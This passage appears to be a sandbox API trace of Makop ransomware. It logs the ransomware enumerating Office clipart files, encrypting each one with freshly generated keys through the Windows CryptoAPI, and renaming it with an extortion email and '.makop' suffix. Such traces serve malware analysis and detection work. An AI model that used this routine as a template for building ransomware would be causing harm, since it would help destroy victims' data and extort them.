hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.749] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8a0, lpOverlapped=0x0) returned 1 [0141.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a0) returned 1 [0141.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8a0, lpOverlapped=0x0) returned 1 [0141.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.750] SetEndOfFile (hFile=0xf0) returned 1 [0141.756] GetProcessHeap () returned 0x48a0000 [0141.757] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.757] GetProcessHeap () returned 0x48a0000 [0141.757] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.757] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.758] CloseHandle (hObject=0xf0) returned 1 [0141.758] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0141.759] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF") returned 63 [0141.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.759] GetProcessHeap () returned 0x48a0000 [0141.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.760] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.760] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.760] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.764] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.764] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.764] GetProcessHeap () returned 0x48a0000 [0141.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.764] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.764] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.764] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.765] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.765] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.765] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.765] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.765] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc28, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc28, lpOverlapped=0x0) returned 1 [0141.766] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc30, dwBufLen=0xc30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc30) returned 1 [0141.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc30, lpOverlapped=0x0) returned 1 [0141.766] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.766] SetEndOfFile (hFile=0xf0) returned 1 [0141.773] GetProcessHeap () returned 0x48a0000 [0141.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.773] GetProcessHeap () returned 0x48a0000 [0141.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.773] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.775] CloseHandle (hObject=0xf0) returned 1 [0141.775] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0141.775] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF") returned 63 [0141.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.778] GetProcessHeap () returned 0x48a0000 [0141.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.778] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.778] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.778] GetProcessHeap () returned 0x48a0000 [0141.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.778] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.779] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.779] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.784] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.784] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.784] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd70, lpOverlapped=0x0) returned 1 [0141.784] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd70, dwBufLen=0xd70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd70) returned 1 [0141.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.784] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd70, lpOverlapped=0x0) returned 1 [0141.784] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.785] SetEndOfFile (hFile=0xf0) returned 1 [0141.791] GetProcessHeap () returned 0x48a0000 [0141.791] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.791] GetProcessHeap () returned 0x48a0000 [0141.791] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.792] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.793] CloseHandle (hObject=0xf0) returned 1 [0141.793] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0141.793] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF") returned 63 [0141.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.794] GetProcessHeap () returned 0x48a0000 [0141.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.795] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.799] GetProcessHeap () returned 0x48a0000 [0141.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.799] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.799] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.801] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd3c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd3c, lpOverlapped=0x0) returned 1 [0141.801] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd40, dwBufLen=0xd40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd40) returned 1 [0141.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd40, lpOverlapped=0x0) returned 1 [0141.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.802] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.802] SetEndOfFile (hFile=0xf0) returned 1 [0141.808] GetProcessHeap () returned 0x48a0000 [0141.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.808] GetProcessHeap () returned 0x48a0000 [0141.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.810] CloseHandle (hObject=0xf0) returned 1 [0141.810] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0141.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0141.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.812] GetProcessHeap () returned 0x48a0000 [0141.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.812] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.813] GetProcessHeap () returned 0x48a0000 [0141.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.813] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.818] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.818] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, 